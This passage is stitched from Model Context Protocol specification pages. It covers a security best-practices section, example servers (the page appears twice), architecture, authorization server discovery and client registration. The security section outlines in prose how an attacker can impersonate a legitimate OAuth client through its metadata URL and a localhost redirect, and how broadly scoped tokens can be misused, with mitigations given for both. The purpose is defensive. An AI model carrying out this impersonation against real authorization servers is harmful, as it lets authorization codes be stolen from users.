An attacker can claim to be any client by:
1. Providing the legitimate client's metadata URL as their `client_id`
2. Binding to any `localhost` port, and providing that address as
the redirect\_uri
3. Receiving the authorization code via the redirect when the user
approves
The server will see the legitimate client's metadata document and the
user will see the legitimate client's name, making attack detection
difficult.
#### Mitigation
See
[Localhost Redirect URI Risks](/specification/2026-07-28/basic/authorization/security-considerations#localhost-redirect-uri-risks)
in the authorization specification for the countermeasures expected
of authorization servers, including displaying additional warnings for
`localhost`-only redirect URIs and clearly displaying the redirect URI
hostname during authorization.
### CIMD Trust Policies
Authorization servers that accept
[Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents)
can apply domain-based trust policies to decide which URL-based
client IDs to accept:
* Allowlists for trusted domains (for protected servers)
* Accept any HTTPS `client_id` (for open servers)
* Reputation checks for unknown domains
* Restrictions based on domain age or certificate validation
* Display the CIMD and other associated client hostnames prominently
to prevent phishing
Servers maintain full control over their access policies. See
[Trust Policies](/specification/2026-07-28/basic/authorization/security-considerations#trust-policies)
in the authorization specification, along with
[Section 6.4](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.4)
and
[Section 6.8](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.8)
of the Client ID Metadata Document specification, for more details.
### Scope Minimization
Poor scope design increases token compromise impact, elevates user
friction, and obscures audit trails.
#### Attack Description
An attacker obtains (via log leakage, memory scraping, or local
interception) an access token carrying broad scopes (`files:*`, `db:*`,
`admin:*`) that were granted up front because the MCP server exposed
every scope in `scopes_supported` and the client requested them all.
The token enables lateral data access, privilege chaining, and difficult
revocation without re-consenting the entire surface.
#### Risks
* Expanded blast radius: stolen broad token enables unrelated
tool/resource access
* Higher friction on revocation: revoking a max-privilege token disrupts
all workflows
* Audit noise: single omnibus scope masks user intent per operation
* Privilege chaining: attacker can immediately invoke high-risk tools
without further elevation prompts
* Consent abandonment: users decline dialogs listing excessive scopes
* Scope inflation blindness: lack of metrics makes over-broad requests
normalised
#### Mitigation
Implement a progressive, least-privilege scope model:
* Minimal initial scope set (e.g., `mcp:tools-basic`) containing only
low-risk discovery/read operations
* Incremental elevation via targeted `WWW-Authenticate` `scope="..."`
challenges when privileged operations are first attempted
* Down-scoping tolerance: server should accept reduced scope tokens;
auth server MAY issue a subset of requested scopes
Server guidance:
* Emit precise scope challenges; avoid returning the full catalog
* Log elevation events (scope requested, granted subset) with
correlation IDs
Servers have flexibility in determining which scopes to include:
* **Minimum approach**: Include only the scopes required for the
specific operation that triggered the error.
* **Recommended approach**: Include the scopes required for the
current operation along with related scopes that commonly work
together, to reduce the number of step-up authorization rounds.
* **Extended approach**: Include the scopes required for the
current operation, related scopes, and any other scopes the
server anticipates the client may need in the near future.
The choice depends on the server's assessment of user experience impact and authorization friction.
Client guidance:
* Begin with only baseline scopes (or those specified by initial
`WWW-Authenticate`)
* Cache recent failures to avoid repeated elevation loops for denied
scopes
When the initial `WWW-Authenticate` challenge carries no `scope`
parameter, the
[Scope Selection Strategy](/specification/2026-07-28/basic/authorization#scope-selection-strategy)
directs clients to fall back to requesting all scopes listed in
`scopes_supported`. This approach accommodates the general-purpose
nature of MCP clients, which typically lack domain-specific knowledge
to make informed decisions about individual scope selection.
Requesting all available scopes allows the authorization server and
end-user to determine appropriate permissions during the consent
process, minimizing user friction while following the principle of
least privilege.
Scope accumulation across operations is a client-side responsibility. Clients
**SHOULD** compute the union of previously requested scopes and newly
challenged scopes when initiating re-authorization, as described in [Step-Up
Authorization
Flow](/specification/2026-07-28/basic/authorization#step-up-authorization-flow).
This allows servers to remain stateless with respect to client scope sets
while ensuring clients do not lose previously granted permissions.
**Hierarchical scopes**: Some authorization servers define scope hierarchies
where a broader scope implies narrower ones (for example, an `admin` scope
that subsumes `read`). When accumulating scopes, the client's union may
contain semantically redundant entries. For example, a token previously
granted a broad scope may be challenged with a narrower one it already
implies. Clients need not deduplicate hierarchically; authorization servers
typically normalize such redundancy during token issuance. Servers, for their
part, must account for hierarchy when deciding whether a token is sufficient
for an operation, but this does not affect the scopes they emit in a
challenge.
#### Common Mistakes
* Publishing all possible scopes in `scopes_supported`
* Using wildcard or omnibus scopes (`*`, `all`, `full-access`)
* Bundling unrelated privileges to preempt future prompts
* Returning entire scope catalog in every challenge
* Silent scope semantic changes without versioning
* Treating claimed scopes in token as sufficient without server-side
authorization logic
Proper minimization constrains compromise impact, improves audit
clarity, and reduces consent churn.
# Example Servers
Source: https://modelcontextprotocol.io/examples
A list of example servers and implementations
This page showcases various Model Context Protocol (MCP) servers that demonstrate the protocol's capabilities and versatility. These servers enable Large Language Models (LLMs) to securely access tools and data sources.
## Reference implementations
These official reference servers demonstrate core MCP features and SDK usage:
### Current reference servers
* **[Everything](https://github.com/modelcontextprotocol/servers/tree/main/src/everything)** - Reference / test server with prompts, resources, and tools
* **[Fetch](https://github.com/modelcontextprotocol/servers/tree/main/src/fetch)** - Web content fetching and conversion for efficient LLM usage
* **[Filesystem](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem)** - Secure file operations with configurable access controls
* **[Git](https://github.com/modelcontextprotocol/servers/tree/main/src/git)** - Tools to read, search, and manipulate Git repositories
* **[Memory](https://github.com/modelcontextprotocol/servers/tree/main/src/memory)** - Knowledge graph-based persistent memory system
* **[Sequential Thinking](https://github.com/modelcontextprotocol/servers/tree/main/src/sequentialthinking)** - Dynamic and reflective problem-solving through thought sequences
* **[Time](https://github.com/modelcontextprotocol/servers/tree/main/src/time)** - Time and timezone conversion capabilities
### Additional example servers (archived)
Visit the [servers-archived repository](https://github.com/modelcontextprotocol/servers-archived) to get access to archived example servers that are no longer actively maintained.
They are provided for historical reference only.
## Official integrations
Visit the [MCP Servers Repository (Official Integrations section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#%EF%B8%8F-official-integrations) for a list of MCP servers maintained by companies for their platforms.
## Community implementations
Visit the [MCP Servers Repository (Community section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#-community-servers) for a list of MCP servers maintained by community members.
## Getting started
### Using reference servers
TypeScript-based servers can be used directly with `npx`:
```bash theme={null}
npx -y @modelcontextprotocol/server-memory
```
Python-based servers can be used with `uvx` (recommended) or `pip`:
```bash theme={null}
# Using uvx
uvx mcp-server-git
# Using pip
pip install mcp-server-git
python -m mcp_server_git
```
### Configuring with Claude
To use an MCP server with Claude, add it to your configuration:
```json theme={null}
{
"mcpServers": {
"memory": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-memory"]
},
"filesystem": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-filesystem",
"/path/to/allowed/files"
]
},
"github": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-github"],
"env": {
"GITHUB_PERSONAL_ACCESS_TOKEN": ""
}
}
}
}
```
## Additional resources
Visit the [MCP Servers Repository (Resources section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#-resources) for a collection of other resources and projects related to MCP.
Visit our [GitHub Discussions](https://github.com/orgs/modelcontextprotocol/discussions) to engage with the MCP community.
# Example Servers
Source: https://modelcontextprotocol.io/examples
A list of example servers and implementations
This page showcases various Model Context Protocol (MCP) servers that demonstrate the protocol's capabilities and versatility. These servers enable Large Language Models (LLMs) to securely access tools and data sources.
## Reference implementations
These official reference servers demonstrate core MCP features and SDK usage:
### Current reference servers
* **[Everything](https://github.com/modelcontextprotocol/servers/tree/main/src/everything)** - Reference / test server with prompts, resources, and tools
* **[Fetch](https://github.com/modelcontextprotocol/servers/tree/main/src/fetch)** - Web content fetching and conversion for efficient LLM usage
* **[Filesystem](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem)** - Secure file operations with configurable access controls
* **[Git](https://github.com/modelcontextprotocol/servers/tree/main/src/git)** - Tools to read, search, and manipulate Git repositories
* **[Memory](https://github.com/modelcontextprotocol/servers/tree/main/src/memory)** - Knowledge graph-based persistent memory system
* **[Sequential Thinking](https://github.com/modelcontextprotocol/servers/tree/main/src/sequentialthinking)** - Dynamic and reflective problem-solving through thought sequences
* **[Time](https://github.com/modelcontextprotocol/servers/tree/main/src/time)** - Time and timezone conversion capabilities
### Additional example servers (archived)
Visit the [servers-archived repository](https://github.com/modelcontextprotocol/servers-archived) to get access to archived example servers that are no longer actively maintained.
They are provided for historical reference only.
## Official integrations
Visit the [MCP Servers Repository (Official Integrations section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#%EF%B8%8F-official-integrations) for a list of MCP servers maintained by companies for their platforms.
## Community implementations
Visit the [MCP Servers Repository (Community section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#-community-servers) for a list of MCP servers maintained by community members.
## Getting started
### Using reference servers
TypeScript-based servers can be used directly with `npx`:
```bash theme={null}
npx -y @modelcontextprotocol/server-memory
```
Python-based servers can be used with `uvx` (recommended) or `pip`:
```bash theme={null}
# Using uvx
uvx mcp-server-git
# Using pip
pip install mcp-server-git
python -m mcp_server_git
```
### Configuring with Claude
To use an MCP server with Claude, add it to your configuration:
```json theme={null}
{
"mcpServers": {
"memory": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-memory"]
},
"filesystem": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-filesystem",
"/path/to/allowed/files"
]
},
"github": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-github"],
"env": {
"GITHUB_PERSONAL_ACCESS_TOKEN": ""
}
}
}
}
```
## Additional resources
Visit the [MCP Servers Repository (Resources section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#-resources) for a collection of other resources and projects related to MCP.
Visit our [GitHub Discussions](https://github.com/orgs/modelcontextprotocol/discussions) to engage with the MCP community.
# Architecture
Source: https://modelcontextprotocol.io/specification/2026-07-28/architecture/index
The Model Context Protocol (MCP) follows a client-host-server architecture where each
host can run multiple client instances. MCP is a stateless protocol: every request is
self-contained and carries its own protocol version and capabilities.
This architecture enables users to integrate AI capabilities across applications while
maintaining clear security boundaries and isolating concerns. Built on JSON-RPC, MCP
provides a protocol focused on context exchange and sampling coordination between
clients and servers.
## Core Components
```mermaid theme={null}
graph LR
subgraph "Application Host Process"
H[Host]
C1[Client 1]
C2[Client 2]
C3[Client 3]
H --> C1
H --> C2
H --> C3
end
subgraph "Local machine"
S1[Server 1 Files & Git]
S2[Server 2 Database]
R1[("Local Resource A")]
R2[("Local Resource B")]
C1 --> S1
C2 --> S2
S1 <--> R1
S2 <--> R2
end
subgraph "Internet"
S3[Server 3 External APIs]
R3[("Remote Resource C")]
C3 --> S3
S3 <--> R3
end
```
### Host
The host process acts as the container and coordinator:
* Creates and manages multiple client instances
* Controls client connection permissions and lifecycle
* Enforces security policies and consent requirements
* Handles user authorization decisions
* Coordinates AI/LLM integration and sampling
* Manages context aggregation across clients
### Clients
Each client is created by the host and communicates with exactly one server:
* Communicates with exactly one server
* Attaches protocol version and capabilities to every request
* Routes protocol messages bidirectionally
* Manages subscriptions and notifications
* Maintains security boundaries between servers
A host application creates and manages multiple clients, with each client having a 1:1
relationship with a particular server.
### Servers
Servers provide specialized context and capabilities:
* Expose resources, tools and prompts via MCP primitives
* Operate independently with focused responsibilities
* Request client input (sampling, elicitation, roots) via `InputRequiredResult` within a reply
* Must respect security constraints
* Can be local processes or remote services
## Design Principles
MCP is built on several key design principles that inform its architecture and
implementation:
1. **Servers should be extremely easy to build**
* Host applications handle complex orchestration responsibilities
* Servers focus on specific, well-defined capabilities
* Simple interfaces minimize implementation overhead
* Clear separation enables maintainable code
2. **Servers should be highly composable**
* Each server provides focused functionality in isolation
* Multiple servers can be combined seamlessly
* Shared protocol enables interoperability
* Modular design supports extensibility
3. **Servers should not be able to read the whole conversation, nor "see into" other
servers**
* Servers receive only necessary contextual information
* Full conversation history stays with the host
* Each server maintains isolation
* Cross-server interactions are controlled by the host
* Host process enforces security boundaries
4. **Features can be added to servers and clients progressively**
* Core protocol provides minimal required functionality
* Additional capabilities can be negotiated as needed
* Servers and clients evolve independently
* Protocol designed for future extensibility
* Backwards compatibility is maintained
## Capability Negotiation
The Model Context Protocol uses a capability-based negotiation system where clients and
servers declare their supported features on each request. Clients include their
capabilities in `_meta.io.modelcontextprotocol/clientCapabilities` on every request.
Servers advertise their capabilities in response to
[`server/discover`](/specification/2026-07-28/server/discover), which clients may call before
any other request for up-front capability discovery.
* Servers declare capabilities like tool support, resource subscriptions, and prompt
templates
* Clients declare capabilities like sampling support and elicitation handling
* Both parties must respect declared capabilities throughout the interaction
* Additional capabilities can be negotiated through extensions to the protocol
```mermaid theme={null}
sequenceDiagram
participant Host
participant Client
participant Server
opt Discovery
Client->>Server: server/discover
Server-->>Client: supported versions + capabilities
end
loop Client Requests
Host->>Client: User- or model-initiated action
Client->>Server: Request (with _meta: version, clientCapabilities)
alt Server requires client input
Server-->>Client: InputRequiredResult (e.g. sampling/createMessage)
Client->>Host: Forward to AI
Host-->>Client: AI response
Client->>Server: Original request (with input)
end
Server-->>Client: Response
Client-->>Host: Update UI or respond to model
end
opt Subscriptions
Client->>Server: subscriptions/listen (toolsListChanged, resourceSubscriptions, …)
Server--)Client: notifications/subscriptions/acknowledged
loop Stream
Server--)Client: notifications/* (tagged with subscriptionId)
end
end
```
Each capability unlocks specific protocol features on a per-request basis. For example:
* Implemented [server features](/specification/2026-07-28/server) must be advertised in the
server's capabilities
* Receiving resource update notifications requires opening a
[`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) stream
with the desired resource URIs
* [Tool](/specification/2026-07-28/server/tools) invocation requires the server to declare tool capabilities
This capability negotiation ensures clients and servers have a clear understanding of
supported functionality while maintaining protocol extensibility.
# Authorization Server Discovery
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/authorization-server-discovery
This document describes the mechanisms by which MCP servers advertise their associated
authorization servers to MCP clients, as well as the discovery process through which MCP
clients can determine authorization server endpoints and supported capabilities.
## Authorization Server Location
MCP servers **MUST** implement the OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728))
specification to indicate the locations of authorization servers. The Protected Resource Metadata document returned by the MCP server **MUST** include
the `authorization_servers` field containing at least one authorization server.
The specific use of `authorization_servers` is beyond the scope of this specification; implementers should consult
OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)) for
guidance on implementation details.
Implementors should note that Protected Resource Metadata documents
can define multiple authorization servers. The responsibility for
selecting which authorization server to use lies with the MCP client,
following the guidelines specified in
[RFC9728 Section 7.6 "Authorization Servers"](https://datatracker.ietf.org/doc/html/rfc9728#name-authorization-servers).
When multiple authorization servers are listed in `authorization_servers`, each is an
independent OAuth 2.0 authorization server. Consistent with
[RFC 6749 Section 2.2](https://datatracker.ietf.org/doc/html/rfc6749#section-2.2), client
identifiers are unique to the authorization server that issued them. Clients **MUST** maintain
separate registration state (client credentials, tokens) per authorization server and
**MUST NOT** assume that credentials valid for one authorization server will be accepted by
another. See
[Authorization Server Binding](/specification/2026-07-28/basic/authorization/client-registration#authorization-server-binding)
for the requirements on associating client credentials with the authorization server that issued them.
## Protected Resource Metadata Discovery Requirements
MCP servers **MUST** implement one of the following discovery mechanisms to provide authorization server location information to MCP clients:
1. **WWW-Authenticate Header**: Include the resource metadata URL in the `WWW-Authenticate` HTTP header under `resource_metadata` when returning `401 Unauthorized` responses, as described in [RFC9728 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9728#name-www-authenticate-response).
2. **Well-Known URI**: Serve metadata at a well-known URI as specified in [RFC9728](https://datatracker.ietf.org/doc/html/rfc9728). This can be either:
* At the path of the server's MCP endpoint: `https://example.com/public/mcp` could host metadata at `https://example.com/.well-known/oauth-protected-resource/public/mcp`
* At the root: `https://example.com/.well-known/oauth-protected-resource`
MCP clients **MUST** support both discovery mechanisms and use the resource metadata URL from the parsed `WWW-Authenticate` headers when present; otherwise, they **MUST** fall back to constructing and requesting the well-known URIs in the order listed above.
MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server.
Servers can also include a `scope` parameter in the `WWW-Authenticate` challenge to indicate the
scopes required for accessing the resource; the scope semantics and the associated client behavior
are defined in the [Scope Selection Strategy](/specification/2026-07-28/basic/authorization#scope-selection-strategy) section.
## Authorization Server Metadata Discovery
MCP uses the default `oauth-authorization-server` well-known URI
suffix defined in
[RFC 8414 Section 3.1](https://datatracker.ietf.org/doc/html/rfc8414#section-3.1)
for authorization server metadata discovery. MCP does not define
an application-specific well-known URI suffix.
To handle different issuer URL formats and ensure
interoperability with both OAuth 2.0 Authorization Server
Metadata and OpenID Connect Discovery 1.0 specifications, MCP
clients **MUST** attempt multiple well-known endpoints when
discovering authorization server metadata.
The discovery approach is based on
[RFC 8414 Section 3.1 "Authorization Server Metadata Request"](https://datatracker.ietf.org/doc/html/rfc8414#section-3.1)
for OAuth 2.0 Authorization Server Metadata discovery and
[RFC 8414 Section 5 "Compatibility Notes"](https://datatracker.ietf.org/doc/html/rfc8414#section-5)
for OpenID Connect Discovery 1.0 interoperability.
For issuer URLs with path components
(e.g., `https://auth.example.com/tenant1`), clients **MUST**
try endpoints in the following priority order:
1. OAuth 2.0 Authorization Server Metadata with path insertion:
`https://auth.example.com/.well-known/oauth-authorization-server/tenant1`
2. OpenID Connect Discovery 1.0 with path insertion:
`https://auth.example.com/.well-known/openid-configuration/tenant1`
3. OpenID Connect Discovery 1.0 path appending:
`https://auth.example.com/tenant1/.well-known/openid-configuration`
For issuer URLs without path components
(e.g., `https://auth.example.com`), clients **MUST** try:
1. OAuth 2.0 Authorization Server Metadata:
`https://auth.example.com/.well-known/oauth-authorization-server`
2. OpenID Connect Discovery 1.0:
`https://auth.example.com/.well-known/openid-configuration`
After retrieving a metadata document, MCP clients **MUST** validate it as required by [RFC8414 Section 3.3](https://datatracker.ietf.org/doc/html/rfc8414#section-3.3) or [OpenID Connect Discovery Section 4.3](https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfigurationValidation): the `issuer` value in the document **MUST** be identical to the issuer identifier used to construct the well-known URL. If they differ, the client **MUST NOT** use the metadata. For example, a document fetched from `https://attacker.example/.well-known/oauth-authorization-server` that contains `"issuer": "https://honest.example"` **MUST** be rejected.
## Sequence Diagram
The following diagram outlines an example flow:
```mermaid theme={null}
sequenceDiagram
participant C as Client
participant M as MCP Server (Resource Server)
participant A as Authorization Server
Note over C: Attempt unauthenticated MCP request
C->>M: MCP request without token
M-->>C: HTTP 401 Unauthorized (may include WWW-Authenticate header)
alt Header includes resource_metadata
Note over C: Extract resource_metadata URL from header
C->>M: GET resource_metadata URI
M-->>C: Resource metadata with authorization server URL
else No resource_metadata in header
Note over C: Fallback to well-known URI probing
Note over M: _Not applicable if the MCP server is at the root_
C->>M: GET /.well-known/oauth-protected-resource/mcp
alt Sub-path metadata found
M-->>C: Resource metadata with authorization server URL
else Sub-path not found
C->>M: GET /.well-known/oauth-protected-resource
alt Root metadata found
M-->>C: Resource metadata with authorization server URL
else Root metadata not found
Note over C: Abort or use pre-configured values
end
end
end
Note over C: Validate RS metadata, build AS metadata URL
C->>A: GET Authorization server metadata endpoint
Note over C,A: Try OAuth 2.0 and OpenID Connect discovery endpoints in priority order
A-->>C: Authorization server metadata
Note over C,A: OAuth 2.1 authorization flow happens here
C->>A: Token request
A-->>C: Access token
C->>M: MCP request with access token
M-->>C: MCP response
Note over C,M: MCP communication continues with valid token
```
# Client Registration
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/client-registration
MCP supports three client registration mechanisms. Choose based on your scenario:
* **[Client ID Metadata Documents](#client-id-metadata-documents)**: When client and server have no prior relationship (most common)
* **[Pre-registration](#pre-registration)**: When client and server have an existing relationship
* **[Dynamic Client Registration](#dynamic-client-registration)**: For backwards compatibility or specific requirements
Clients supporting all options **SHOULD** use the following priority order:
1. Use pre-registered client information for the server if the client has it available
2. Use Client ID Metadata Documents if the Authorization Server indicates that it supports them (via `client_id_metadata_document_supported` in OAuth Authorization Server Metadata)
3. Use Dynamic Client Registration as a fallback if the Authorization Server supports it (via `registration_endpoint` in OAuth Authorization Server Metadata)
4. Prompt the user to enter the client information if no other option is available
## Client ID Metadata Documents
MCP clients and authorization servers **SHOULD** support OAuth Client ID Metadata Documents as specified in
[OAuth Client ID Metadata Document](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00)
for client registration.
This approach enables clients to use HTTPS URLs as client identifiers, where the URL points to a JSON document
containing client metadata. This addresses the common MCP scenario where servers and clients have
no pre-existing relationship.
### Implementation Requirements
MCP implementations supporting Client ID Metadata Documents **MUST** follow the requirements specified in
[OAuth Client ID Metadata Document](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00).
Key requirements include:
**For MCP Clients:**
* Clients **MUST** host their metadata document at an HTTPS URL following RFC requirements
* The `client_id` URL **MUST** use the "https" scheme and contain a path component, e.g. `https://example.com/client.json`
* The metadata document **MUST** include at least the following properties: `client_id`, `client_name`, `redirect_uris`
* Clients **MUST** ensure the `client_id` value in the metadata matches the document URL exactly
* Clients **MAY** use `private_key_jwt` for client authentication (e.g., for requests to the token endpoint) with appropriate JWKS configuration as described in [Section 6.2 of Client ID Metadata Document](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.2)
**For Authorization Servers:**
* **SHOULD** fetch metadata documents when encountering URL-formatted client\_ids
* **MUST** validate that the fetched document's `client_id` matches the URL exactly
* **SHOULD** cache metadata respecting HTTP cache headers
* **MUST** validate redirect URIs presented in an authorization request against those in the metadata document
* **MUST** validate the document structure is valid JSON and contains required fields
* **SHOULD** follow the security considerations in [Section 6 of Client ID Metadata Document](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6) and in [Client ID Metadata Document Security](/specification/2026-07-28/basic/authorization/security-considerations#client-id-metadata-document-security)
### Example Metadata Document
```json theme={null}
{
"client_id": "https://app.example.com/oauth/client-metadata.json",
"client_name": "Example MCP Client",
"client_uri": "https://app.example.com",
"logo_uri": "https://app.example.com/logo.png",
"redirect_uris": [
"http://127.0.0.1:3000/callback",
"http://localhost:3000/callback"
],
"grant_types": ["authorization_code"],
"response_types": ["code"],
"token_endpoint_auth_method": "none"
}
```
### Client ID Metadata Documents Flow
The following diagram illustrates the complete flow when using Client ID Metadata Documents:
```mermaid theme={null}
sequenceDiagram
participant User
participant Client as MCP Client
participant Server as Authorization Server
participant Metadata as Metadata Endpoint (Client's HTTPS URL)
participant Resource as MCP Server
Note over Client,Metadata: Client hosts metadata at https://app.example.com/oauth/metadata.json
User->>Client: Initiates connection to MCP Server
Client->>Server: Authorization Request client_id=https://app.example.com/oauth/metadata.json redirect_uri=http://localhost:3000/callback
Server->>User: Authentication prompt
User->>Server: Provides credentials
Note over Server: Authenticates user
Note over Server: Detects URL-formatted client_id
Server->>Metadata: GET https://app.example.com/oauth/metadata.json
Metadata-->>Server: JSON Metadata Document {client_id, client_name, redirect_uris, ...}
Note over Server: Validates: 1. client_id matches URL 2. redirect_uri in allowed list 3. Document structure valid 4. (Optional) Domain allowed via trust policy
alt Validation Success
Server->>User: Display consent page with client_name
User->>Server: Approves access
Server->>Client: Authorization code via redirect_uri
Client->>Server: Exchange code for token client_id=https://app.example.com/oauth/metadata.json
Server-->>Client: Access token
Client->>Resource: MCP requests with access token
Resource-->>Client: MCP responses
else Validation Failure
Server->>User: Error response error=invalid_client or invalid_request
end
Note over Server: Cache metadata for future requests (respecting HTTP cache headers)
```
### Advertising CIMD Support
Authorization servers advertise that they support clients using Client ID Metadata Documents by including the following property in their OAuth Authorization Server metadata:
```json theme={null}
{
"client_id_metadata_document_supported": true
}
```
MCP clients **SHOULD** check for this capability and **MAY** fall back to
[Dynamic Client Registration](#dynamic-client-registration)
or [pre-registration](#pre-registration) if unavailable.
## Pre-registration
MCP clients **SHOULD** support an option for static client credentials such as those supplied by a pre-registration flow. This could be:
1. Hardcode a client ID (and, if applicable, client credentials) specifically for the MCP client to use when
interacting with that authorization server, or
2. Present a UI to users that allows them to enter these details, after registering an
OAuth client themselves (e.g., through a configuration interface hosted by the
server).
## Dynamic Client Registration
Dynamic Client Registration is deprecated. New implementations should use
[Client ID Metadata Documents](#client-id-metadata-documents) instead. This
option remains available for backwards compatibility with authorization
servers that do not support Client ID Metadata Documents.
MCP clients and authorization servers **MAY** support the
OAuth 2.0 Dynamic Client Registration Protocol [RFC7591](https://datatracker.ietf.org/doc/html/rfc7591)
to allow MCP clients to obtain OAuth client IDs without user interaction.
This option is included for backwards compatibility with earlier versions of the MCP authorization spec.
### Application Type and Redirect URI Constraints
When authorization servers support OpenID Connect (OIDC) and
Dynamic Client Registration, they may enforce additional
constraints on redirect URIs based on the `application_type`
parameter as defined in
[OpenID Connect Dynamic Client Registration 1.0](https://openid.net/specs/openid-connect-registration-1_0.html).
MCP clients **MUST** specify an appropriate `application_type`
during Dynamic Client Registration. Omitting it defaults to
`"web"` under OIDC, which can conflict with native-style redirect
URIs; non-OIDC servers safely ignore the parameter.
* **Native applications** (desktop applications, mobile apps,
CLI tools, and locally-hosted web applications accessed via
`localhost`) **SHOULD** use `application_type: "native"`
* **Web applications** (remote browser-based applications
served from a non-local host) **SHOULD** use
`application_type: "web"`
MCP clients **MUST** be prepared to handle registration
failures due to redirect URI constraints when authorization
servers implement OIDC. When a registration request is rejected,
clients **SHOULD** surface a meaningful error to the user or
developer. Clients **MAY** retry registration with an adjusted
`application_type` or with redirect URIs that conform to the
authorization server's requirements for the given application
type.
## Authorization Server Binding
Clients that use pre-registered credentials, or persist client credentials obtained via Dynamic Client
Registration, **MUST** associate those
credentials with the specific authorization server that issued them,
keyed by the authorization server's `issuer` identifier. When the
authorization server changes (detected via updated
[protected resource metadata](/specification/2026-07-28/basic/authorization/authorization-server-discovery#authorization-server-location)),
clients **MUST NOT** reuse client credentials
from a different authorization server and **MUST** re-register
with the new authorization server.
Pre-registered credentials are inherently specific to a particular
authorization server. If the authorization server indicated by
protected resource metadata no longer matches the one the
credentials were registered with, clients **SHOULD** surface an
error rather than silently attempting to use mismatched credentials.
Client IDs based on Client ID Metadata Documents are portable
across authorization servers, since they are self-hosted HTTPS URLs
resolved by the authorization server on demand. No re-registration
is needed when the authorization server changes.
# Authorization
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/index
## Introduction
### Purpose and Scope
The Model Context Protocol provides authorization capabilities at the transport level,
enabling MCP clients to make requests to restricted MCP servers on behalf of resource
owners. This specification defines the authorization flow for HTTP-based transports.
### Protocol Requirements
Authorization is **OPTIONAL** for MCP implementations. When supported:
* Implementations using an HTTP-based transport **SHOULD** conform to this specification.
* Implementations using an STDIO transport **SHOULD NOT** follow this specification, and
instead retrieve credentials from the environment.
* Implementations using alternative transports **MUST** follow established security best
practices for their protocol.
### Standards Compliance
This authorization mechanism is based on established specifications listed below, but
implements a selected subset of their features to ensure security and interoperability
while maintaining simplicity:
* OAuth 2.1 IETF DRAFT ([draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13))
* OAuth 2.0 Bearer Token Usage
([RFC6750](https://datatracker.ietf.org/doc/html/rfc6750))
* OAuth 2.0 Authorization Server Metadata
([RFC8414](https://datatracker.ietf.org/doc/html/rfc8414))
* OAuth 2.0 Dynamic Client Registration Protocol
([RFC7591](https://datatracker.ietf.org/doc/html/rfc7591))
* Resource Indicators for OAuth 2.0
([RFC8707](https://www.rfc-editor.org/rfc/rfc8707.html))
* OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728))
* OAuth 2.0 Authorization Server Issuer Identification ([RFC9207](https://datatracker.ietf.org/doc/html/rfc9207))
* OAuth Client ID Metadata Documents ([draft-ietf-oauth-client-id-metadata-document-00](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00))
* [OpenID Connect Discovery 1.0](https://openid.net/specs/openid-connect-discovery-1_0.html)
* OpenID Connect Dynamic Client Registration 1.0 ([OpenID Connect Registration](https://openid.net/specs/openid-connect-registration-1_0.html))
## Roles
A protected *MCP server* acts as an [OAuth 2.1 resource server](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#name-roles),
capable of accepting and responding to protected resource requests using access tokens.
An *MCP client* acts as an [OAuth 2.1 client](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#name-roles),
making protected resource requests on behalf of a resource owner.
The *authorization server* is responsible for interacting with the user (if necessary) and issuing access tokens for use at the MCP server.
The implementation details of the authorization server are beyond the scope of this specification. It may be hosted with the
resource server or a separate entity. [Authorization Server Discovery](/specification/2026-07-28/basic/authorization/authorization-server-discovery)
specifies how an MCP server indicates the location of its corresponding authorization server to a client.
## Overview
1. Authorization servers **MUST** implement OAuth 2.1 with appropriate security
measures for both confidential and public clients.
2. Authorization servers and MCP clients **SHOULD** support [OAuth Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents)
([draft-ietf-oauth-client-id-metadata-document-00](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00)).
3. Authorization servers and MCP clients **MAY** support the OAuth 2.0 Dynamic Client Registration
Protocol ([RFC7591](https://datatracker.ietf.org/doc/html/rfc7591)). Note that
[Dynamic Client Registration](/specification/2026-07-28/basic/authorization/client-registration#dynamic-client-registration)
is deprecated and retained for backwards compatibility with authorization servers that do not support Client ID Metadata Documents.
4. MCP servers **MUST** implement OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)).
